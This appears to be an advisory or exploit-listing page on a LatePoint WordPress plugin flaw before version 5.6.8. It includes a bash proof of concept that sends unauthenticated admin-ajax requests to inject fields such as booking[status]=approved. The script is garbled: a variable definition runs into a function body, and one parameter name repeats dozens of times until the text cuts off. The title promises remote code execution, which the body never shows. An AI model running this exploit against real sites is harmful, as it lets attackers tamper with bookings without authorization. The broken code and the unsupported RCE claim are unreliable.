LatePoint <5.6.8 Unauthenticated Object Injection Bypasses Booking Approval and Leads to RCE

Vulnerability Overview The LatePoint plugin, in versions prior to 5.6.8, contains an unauthorized mass assignment vulnerability. Attackers can bypass the website's booking approval process by setting unauthorized booking fields through the public booking funnel. Affected Scope Plugin Name: LatePoint Affected Versions: < 5.6.8 Remediation Fixed Version: 5.6.8 Proof of Concept (POC) Code ```bash Prerequisites (normal operational LatePoint config): at least one active service, one agent, and work periods (any bookable install) Steps (all requests are unauthenticated; no cookie, session, or nonce): BASE="https://victim.example"; JAP=$(mktemp) INJ="booking[status]=approved&booking[agent_id]=1&booking[service_id]=1&booking[location_id]=1&booking[start_date]=2027-04-15&booking[hop][1][curl -s -c "$JAP" -b "$JAP" "$BASE/wp-admin/admin-ajax.php" -X POST \ --data-urlencode "action=latepoint_route_call" --data-urlencode "route_name=$2" \ --data-urlencode "return_format=json" --data-urlencode "params=$3" -o /tmp/$1; ) hop r1 steps_start "$INJ" hop r2 steps_load_step "current_step_code=booking_services&step_direction=next&$INJ" hop r3 steps_load_step "current_step_code=booking_agents&step_direction=next&$INJ" hop r4 steps_load_step "current_step_code=booking_datepicker&step_direction=next&$INJ" hop r5 steps_load_step "current_step_code=customer&step_direction=next&customer[first_name]=&customer[last_name]=&customer[email]=&customer[phone]=&customer[uuid]=&customer[notes]=&customer[metadata]=&customer[tags]=&customer[custom_fields]=&customer[custom_fields_values]=&customer[custom_fields_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]

Goal Reached Thanks to every supporter — we hit 100%!

LatePoint <5.6.8 Unauthenticated Object Injection Bypasses Booking Approval and Leads to RCE

More from this source